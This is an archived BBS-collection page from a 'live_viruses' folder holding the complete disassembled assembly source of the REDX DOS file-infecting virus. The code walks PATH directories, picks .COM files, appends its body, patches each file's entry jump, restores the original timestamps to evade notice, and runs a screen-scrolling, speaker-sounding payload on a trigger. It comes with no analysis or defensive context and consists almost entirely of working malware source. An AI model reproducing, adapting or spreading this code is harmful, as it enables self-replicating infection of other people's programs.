home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / redx.asm < prev    next >
Assembly Source File  |  1993-04-02  |  14KB  |  527 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    REDX                         ██
  7. ;██                                         ██
  8. ;██      Created:   2-Apr-93                             ██
  9. ;██      Passes:    5           Analysis Options on: QRS                 ██
  10. ;██      Copyright S & S Enterprises, 1988                     ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. prn_port_3    equ    0Ch            ; (0040:000C=0)
  15. video_mode    equ    49h            ; (0040:0049=3)
  16. timer_low    equ    6Ch            ; (0040:006C=0BE58h)
  17. psp_envirn_seg    equ    2Ch            ; (6151:002C=0)
  18. data_18e    equ    0C80h            ; (B000:0C80=0FFh)
  19.  
  20. seg_a        segment    byte public
  21.         assume    cs:seg_a, ds:seg_a
  22.  
  23.  
  24.         org    100h
  25.  
  26. redx        proc    far
  27.  
  28. start::
  29.         jmp    short loc_2        ; (0139)
  30. data_2        dw    4890h            ; Data table (indexed access)
  31.                         ;  xref 6151:01C7
  32. data_4        dw    6C65h            ; Data table (indexed access)
  33.                         ;  xref 6151:01CD
  34.         db     6Ch, 6Fh, 20h, 2Dh, 20h
  35. copyright    db    'Copyright S & S Enterprises, 198'
  36.         db    '8'
  37.         db     0Ah, 0Dh, 24h, 1Ah,0B4h, 09h
  38.         db    0BAh, 03h, 01h,0CDh, 21h,0CDh
  39.         db    20h
  40. loc_2::                        ;  xref 6151:0100
  41. ;*        call    sub_1            ;*(013D)
  42.         db    0E8h, 01h, 00h
  43.         add    [bp-7Fh],bx
  44.         out    dx,al            ; port 0, DMA-1 bas&add ch 0
  45.         add    ax,[bx+di]
  46.         call    sub_2            ; (015F)
  47.         call    sub_2            ; (015F)
  48.         call    sub_4            ; (031D)
  49.         lea    bx,[si+419h]        ; Load effective addr
  50.         mov    di,100h            ; (6151:0100=0EBh)
  51.         mov    al,[bx]
  52.         mov    [di],al
  53.  
  54.         mov    ax,[bx+1]
  55.         mov    [di+1],ax
  56.         jmp    di            ;*Register jump
  57.  
  58. loc_ret_3::                    ;  xref 6151:0168
  59.         retn
  60.  
  61. redx        endp
  62.  
  63. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  64. ;                   SUBROUTINE
  65. ;
  66. ;         Called from:     6151:0142, 0145
  67. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  68.  
  69. sub_2        proc    near
  70.         call    sub_3            ; (0240)
  71.         mov    al,byte ptr data_16[si]    ; (6151:0428=25h)
  72.         or    al,al            ; Zero ?
  73.         jz    loc_ret_3        ; Jump if zero
  74.         lea    bx,[si+40Fh]        ; Load effective addr
  75.         inc    word ptr [bx]
  76.         lea    dx,[si+428h]        ; Load effective addr
  77.         mov    ax,3D02h
  78.         int    21h            ; DOS Services  ah=function 3Dh
  79.                         ;  open file, al=mode,name@ds:dx
  80.         mov    word ptr ds:[417h][si],ax    ; (6151:0417=2432h)
  81.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  82.         mov    cx,3
  83.         lea    dx,[si+414h]        ; Load effective addr
  84.         mov    ah,3Fh            ; '?'
  85.         int    21h            ; DOS Services  ah=function 3Fh
  86.                         ;  read file, bx=file handle
  87.                         ;   cx=bytes to ds:dx buffer
  88.         mov    al,byte ptr ds:[414h][si]    ; (6151:0414=0EBh)
  89.         cmp    al,0E9h
  90.         jne    loc_4            ; Jump if not equal
  91.         mov    dx,word ptr ds:[415h][si]    ; (6151:0415=3130h)
  92.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  93.         add    dx,3
  94.         xor    cx,cx            ; Zero register
  95.         mov    ax,4200h
  96.         int    21h            ; DOS Services  ah=function 42h
  97.                         ;  move file ptr, bx=file handle
  98.                         ;   al=method, cx,dx=offset
  99.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  100.         mov    cx,6
  101.         lea    dx,[si+41Ch]        ; Load effective addr
  102.         mov    ah,3Fh            ; '?'
  103.         int    21h            ; DOS Services  ah=function 3Fh
  104.                         ;  read file, bx=file handle
  105.                         ;   cx=bytes to ds:dx buffer
  106.         mov    ax,data_10[si]        ; (6151:041C=0E8E3h)
  107.         mov    bx,data_11[si]        ; (6151:041E=0EA2Ah)
  108.         mov    cx,data_12[si]        ; (6151:0420=0E8E7h)
  109.         cmp    ax,word ptr ds:[100h][si]    ; (6151:0100=37EBh)
  110.         jne    loc_4            ; Jump if not equal
  111.  
  112.         cmp    bx,data_2[si]        ; (6151:0102=4890h)
  113.         jne    loc_4            ; Jump if not equal
  114.         cmp    cx,data_4[si]        ; (6151:0104=6C65h)
  115.         je    loc_5            ; Jump if equal
  116. loc_4::                        ;  xref 6151:0192, 01C5, 01CB
  117.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  118.         xor    cx,cx            ; Zero register
  119.         xor    dx,dx            ; Zero register
  120.         mov    ax,4202h
  121.         int    21h            ; DOS Services  ah=function 42h
  122.                         ;  move file ptr, bx=file handle
  123.                         ;   al=method, cx,dx=offset
  124.         sub    ax,3
  125.         mov    word ptr ds:[412h][si],ax    ; (6151:0412=0EAE9h)
  126.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  127.         mov    ax,5700h
  128.         int    21h            ; DOS Services  ah=function 57h
  129.                         ;  get file date+time, bx=handle
  130.                         ;   returns cx=time, dx=time
  131.         push    cx
  132.         push    dx
  133.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  134.         mov    cx,319h
  135.         lea    dx,[si+100h]        ; Load effective addr
  136.         mov    ah,40h            ; '@'
  137.         int    21h            ; DOS Services  ah=function 40h
  138.                         ;  write file  bx=file handle
  139.                         ;   cx=bytes from ds:dx buffer
  140.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  141.         mov    cx,3
  142.         lea    dx,[si+414h]        ; Load effective addr
  143.         mov    ah,40h            ; '@'
  144.         int    21h            ; DOS Services  ah=function 40h
  145.                         ;  write file  bx=file handle
  146.                         ;   cx=bytes from ds:dx buffer
  147.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  148.         xor    cx,cx            ; Zero register
  149.         xor    dx,dx            ; Zero register
  150.         mov    ax,4200h
  151.         int    21h            ; DOS Services  ah=function 42h
  152.                         ;  move file ptr, bx=file handle
  153.                         ;   al=method, cx,dx=offset
  154.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  155.         mov    cx,3
  156.         lea    dx,[si+411h]        ; Load effective addr
  157.         mov    ah,40h            ; '@'
  158.         int    21h            ; DOS Services  ah=function 40h
  159.                         ;  write file  bx=file handle
  160.                         ;   cx=bytes from ds:dx buffer
  161.         pop    dx
  162.         pop    cx
  163.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  164.         mov    ax,5701h
  165.         int    21h            ; DOS Services  ah=function 57h
  166.                         ;  set file date+time, bx=handle
  167.                         ;   cx=time, dx=time
  168. loc_5::                        ;  xref 6151:01D1
  169.  
  170.         mov    bx,word ptr ds:[417h][si]    ; (6151:0417=2432h)
  171.         mov    ah,3Eh            ; '>'
  172.         int    21h            ; DOS Services  ah=function 3Eh
  173.                         ;  close file, bx=file handle
  174.         retn
  175. sub_2        endp
  176.  
  177.  
  178. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  179. ;                   SUBROUTINE
  180. ;
  181. ;         Called from:     6151:015F
  182. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  183.  
  184. sub_3        proc    near
  185.         mov    ax,ds:psp_envirn_seg    ; (6151:002C=0)
  186.         mov    es,ax
  187.         push    ds
  188.         mov    ax,40h
  189.         mov    ds,ax
  190.         mov    bp,ds:timer_low        ; (0040:006C=0BE5Fh)
  191.         pop    ds
  192.         test    bp,3
  193.         jz    loc_8            ; Jump if zero
  194.         xor    bx,bx            ; Zero register
  195. loc_6::                        ;  xref 6151:026B
  196.         mov    ax,es:[bx]
  197.         cmp    ax,4150h
  198.         jne    loc_7            ; Jump if not equal
  199.         cmp    word ptr es:[bx+2],4854h
  200.         je    loc_9            ; Jump if equal
  201. loc_7::                        ;  xref 6151:025E
  202.         inc    bx
  203.         or    ax,ax            ; Zero ?
  204.         jnz    loc_6            ; Jump if not zero
  205. loc_8::                        ;  xref 6151:0254
  206.         lea    di,[si+428h]        ; Load effective addr
  207.         jmp    short loc_14        ; (02A5)
  208. loc_9::                        ;  xref 6151:0266
  209.         add    bx,5
  210. loc_10::                    ;  xref 6151:0299
  211.         lea    di,[si+428h]        ; Load effective addr
  212. loc_11::                    ;  xref 6151:0289
  213.         mov    al,es:[bx]
  214.         inc    bx
  215.         or    al,al            ; Zero ?
  216.         jz    loc_13            ; Jump if zero
  217.         cmp    al,3Bh            ; ';'
  218.         je    loc_12            ; Jump if equal
  219.         mov    [di],al
  220.         inc    di
  221.         jmp    short loc_11        ; (027A)
  222. loc_12::                    ;  xref 6151:0284
  223.         cmp    byte ptr es:[bx],0
  224.         je    loc_13            ; Jump if equal
  225.         shr    bp,1            ; Shift w/zeros fill
  226.         shr    bp,1            ; Shift w/zeros fill
  227.  
  228.         test    bp,3
  229.         jnz    loc_10            ; Jump if not zero
  230. loc_13::                    ;  xref 6151:0280, 028F
  231.         cmp    byte ptr [di-1],5Ch    ; '\'
  232.         je    loc_14            ; Jump if equal
  233.         mov    byte ptr [di],5Ch    ; '\'
  234.         inc    di
  235. loc_14::                    ;  xref 6151:0271, 029F
  236.         push    ds
  237.         pop    es
  238.         mov    data_13[si],di        ; (6151:0422=2FE9h)
  239.         mov    ax,2E2Ah
  240.         stosw                ; Store ax to es:[di]
  241.         mov    ax,4F43h
  242.         stosw                ; Store ax to es:[di]
  243.         mov    ax,4Dh
  244.         stosw                ; Store ax to es:[di]
  245.         push    es
  246.         mov    ah,2Fh            ; '/'
  247.         int    21h            ; DOS Services  ah=function 2Fh
  248.                         ;  get DTA ptr into es:bx
  249.         mov    ax,es
  250.         mov    data_14[si],ax        ; (6151:0424=6D30h)
  251.         mov    data_15[si],bx        ; (6151:0426=3332h)
  252.         pop    es
  253.         lea    dx,[si+478h]        ; Load effective addr
  254.         mov    ah,1Ah
  255.         int    21h            ; DOS Services  ah=function 1Ah
  256.                         ;  set DTA(disk xfer area) ds:dx
  257.         lea    dx,[si+428h]        ; Load effective addr
  258.         xor    cx,cx            ; Zero register
  259.         mov    ah,4Eh            ; 'N'
  260.         int    21h            ; DOS Services  ah=function 4Eh
  261.                         ;  find 1st filenam match @ds:dx
  262.         jnc    loc_15            ; Jump if carry=0
  263.         xor    ax,ax            ; Zero register
  264.         mov    data_16[si],ax        ; (6151:0428=0E125h)
  265.         jmp    short loc_18        ; (030C)
  266. loc_15::                    ;  xref 6151:02D9, 02FA
  267.         push    ds
  268.         mov    ax,40h
  269.         mov    ds,ax
  270.         ror    bp,1            ; Rotate
  271.         xor    bp,ds:timer_low        ; (0040:006C=0BE63h)
  272.         pop    ds
  273.         test    bp,7
  274.         jz    loc_16            ; Jump if zero
  275.         mov    ah,4Fh            ; 'O'
  276.         int    21h            ; DOS Services  ah=function 4Fh
  277.                         ;  find next filename match
  278.         jnc    loc_15            ; Jump if carry=0
  279. loc_16::                    ;  xref 6151:02F4
  280.         mov    di,data_13[si]        ; (6151:0422=2FE9h)
  281.         lea    bx,[si+496h]        ; Load effective addr
  282. loc_17::                    ;  xref 6151:030A
  283.         mov    al,[bx]
  284.         inc    bx
  285.  
  286.         stosb                ; Store al to es:[di]
  287.         or    al,al            ; Zero ?
  288.         jnz    loc_17            ; Jump if not zero
  289. loc_18::                    ;  xref 6151:02E1
  290.         mov    bx,data_15[si]        ; (6151:0426=3332h)
  291.         mov    ax,data_14[si]        ; (6151:0424=6D30h)
  292.         push    ds
  293.         mov    ds,ax
  294.         mov    ah,1Ah
  295.         int    21h            ; DOS Services  ah=function 1Ah
  296.                         ;  set DTA(disk xfer area) ds:dx
  297.         pop    ds
  298.         retn
  299. sub_3        endp
  300.  
  301.  
  302. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  303. ;                   SUBROUTINE
  304. ;
  305. ;         Called from:     6151:0148
  306. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  307.  
  308. sub_4        proc    near
  309.         push    es
  310.         mov    ax,word ptr ds:[40Fh][si]    ; (6151:040F=0E7E6h)
  311.         and    ax,7
  312.         cmp    ax,6
  313.         jne    loc_19            ; Jump if not equal
  314.         mov    ax,40h
  315.         mov    es,ax
  316.         mov    ax,es:prn_port_3    ; (0040:000C=0)
  317.         or    ax,ax            ; Zero ?
  318.         jnz    loc_19            ; Jump if not zero
  319.         inc    word ptr es:prn_port_3    ; (0040:000C=0)
  320.         call    sub_5            ; (0341)
  321. loc_19::                    ;  xref 6151:0328, 0335
  322.         pop    es
  323.         retn
  324. sub_4        endp
  325.  
  326.  
  327. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  328. ;                   SUBROUTINE
  329. ;
  330. ;         Called from:     6151:033C
  331. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  332.  
  333. sub_5        proc    near
  334.         push    ds
  335.         mov    di,0B800h
  336.         mov    ax,40h
  337.         mov    ds,ax
  338.         mov    al,ds:video_mode    ; (0040:0049=3)
  339.         cmp    al,7
  340.         jne    loc_20            ; Jump if not equal
  341.         mov    di,0B000h
  342. loc_20::                    ;  xref 6151:034F
  343.  
  344.         mov    es,di
  345.         pop    ds
  346.         mov    bp,0FFF0h
  347. loc_21::                    ;  xref 6151:0370
  348.         mov    dx,0
  349.         mov    cx,10h
  350.  
  351. locloop_22::                    ;  xref 6151:0364
  352.         call    sub_8            ; (03A2)
  353.         inc    dx
  354.         loop    locloop_22        ; Loop if cx > 0
  355.  
  356.         call    sub_7            ; (037F)
  357.         call    sub_9            ; (03E7)
  358.         inc    bp
  359.         cmp    bp,50h
  360.         jne    loc_21            ; Jump if not equal
  361.         call    sub_6            ; (0378)
  362.         push    ds
  363.         pop    es
  364.         retn
  365. sub_5        endp
  366.  
  367.  
  368. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  369. ;                   SUBROUTINE
  370. ;
  371. ;         Called from:     6151:0372
  372. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  373.  
  374. sub_6        proc    near
  375.         in    al,61h            ; port 61h, 8255 port B, read
  376.         and    al,0FCh
  377.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  378.                         ;  al = 0, disable parity
  379.         retn
  380. sub_6        endp
  381.  
  382.  
  383. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  384. ;                   SUBROUTINE
  385. ;
  386. ;         Called from:     6151:0366
  387. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  388.  
  389. sub_7        proc    near
  390.         mov    dx,7D0h
  391.         test    bp,4
  392.         jz    loc_23            ; Jump if zero
  393.         mov    dx,0BB8h
  394. loc_23::                    ;  xref 6151:0386
  395.         in    al,61h            ; port 61h, 8255 port B, read
  396.         test    al,3
  397.         jnz    loc_24            ; Jump if not zero
  398.         or    al,3
  399.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  400.         mov    al,0B6h
  401.  
  402.         out    43h,al            ; port 43h, 8253 wrt timr mode
  403. loc_24::                    ;  xref 6151:038F
  404.         mov    ax,dx
  405.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  406.         mov    al,ah
  407.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  408.         retn
  409. sub_7        endp
  410.  
  411.  
  412. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  413. ;                   SUBROUTINE
  414. ;
  415. ;         Called from:     6151:0360
  416. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  417.  
  418. sub_8        proc    near
  419.         push    cx
  420.         push    dx
  421.         lea    bx,[si+3BFh]        ; Load effective addr
  422.         add    bx,dx
  423.         add    dx,bp
  424.         or    dx,dx            ; Zero ?
  425.         js    loc_27            ; Jump if sign=1
  426.         cmp    dx,50h
  427.         jae    loc_27            ; Jump if above or =
  428.         mov    di,data_18e        ; (B000:0C80=0FFh)
  429.         add    di,dx
  430.         add    di,dx
  431.         sub    dx,bp
  432.         mov    cx,5
  433.  
  434. locloop_25::                    ;  xref 6151:03E2
  435.         mov    ah,7
  436.         mov    al,[bx]
  437.         sub    al,7
  438.         add    al,cl
  439.         sub    al,dl
  440.         cmp    cx,5
  441.         jne    loc_26            ; Jump if not equal
  442.         mov    ah,0Fh
  443.         test    bp,3
  444.         jz    loc_26            ; Jump if zero
  445.         mov    al,20h            ; ' '
  446. loc_26::                    ;  xref 6151:03CE, 03D6
  447.         stosw                ; Store ax to es:[di]
  448.         add    bx,10h
  449.         add    di,9Eh
  450.         loop    locloop_25        ; Loop if cx > 0
  451.  
  452. loc_27::                    ;  xref 6151:03AE, 03B3
  453.         pop    dx
  454.         pop    cx
  455.         retn
  456. sub_8        endp
  457.  
  458.  
  459.  
  460. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  461. ;                   SUBROUTINE
  462. ;
  463. ;         Called from:     6151:0369
  464. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  465.  
  466. sub_9        proc    near
  467.         push    ds
  468.         mov    ax,40h
  469.         mov    ds,ax
  470.         mov    ax,ds:timer_low        ; (0040:006C=0BE6Ah)
  471. loc_29::                    ;  xref 6151:03F4
  472.         cmp    ax,ds:timer_low        ; (0040:006C=0BE6Ah)
  473.         je    loc_29            ; Jump if equal
  474.         pop    ds
  475.         retn
  476. sub_9        endp
  477.  
  478.         db     22h, 23h, 24h, 25h
  479.         db     26h, 27h, 28h, 29h, 66h, 87h
  480.         db     3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
  481.         db     23h,0E0h,0E1h,0E2h,0E3h,0E4h
  482.         db    0E5h
  483. data_5        dw    0E7E6h            ; Data table (indexed access)
  484.                         ;  xref 6151:031E
  485.         db    0E7h
  486. data_6        dw    0EAE9h            ; Data table (indexed access)
  487.                         ;  xref 6151:01E3
  488. data_7        db    0EBh            ; Data table (indexed access)
  489.                         ;  xref 6151:018C
  490. data_8        dw    3130h            ; Data table (indexed access)
  491.                         ;  xref 6151:0194
  492. data_9        dw    2432h            ; Data table (indexed access)
  493.                         ;  xref 6151:0179, 017D, 0198, 01A6
  494.                         ;            01D3, 01E7, 01F2, 0201
  495.                         ;            0210, 021D, 022E, 0237
  496.         db    0E0h,0E1h,0E2h
  497. data_10        dw    0E8E3h            ; Data table (indexed access)
  498.                         ;  xref 6151:01B5
  499. data_11        dw    0EA2Ah            ; Data table (indexed access)
  500.                         ;  xref 6151:01B9
  501. data_12        dw    0E8E7h            ; Data table (indexed access)
  502.                         ;  xref 6151:01BD
  503. data_13        dw    2FE9h            ; Data table (indexed access)
  504.                         ;  xref 6151:02A7, 02FC
  505. data_14        dw    6D30h            ; Data table (indexed access)
  506.                         ;  xref 6151:02BE, 0310
  507. data_15        dw    3332h            ; Data table (indexed access)
  508.                         ;  xref 6151:02C2, 030C
  509. data_16        dw    0E125h            ; Data table (indexed access)
  510.                         ;  xref 6151:0162, 02DD
  511.         db    0E2h,0E3h,0E4h,0E5h,0E7h,0E7h
  512.         db    0E8h,0E9h,0EAh,0EBh,0ECh,0EDh
  513.         db    0EEh,0EFh, 26h,0E6h,0E7h, 29h
  514.         db     59h, 5Ah, 2Ch,0ECh,0EDh,0EEh
  515.         db    0EFh,0F0h, 32h, 62h, 34h,0F4h
  516.         db     09h, 00h,0E9h, 36h, 00h,0EBh
  517.  
  518.         db     2Eh, 90h, 05h, 00h,0EBh, 2Eh
  519.         db     90h
  520.  
  521. seg_a        ends
  522.  
  523.  
  524.  
  525.         end    start
  526.  
  527.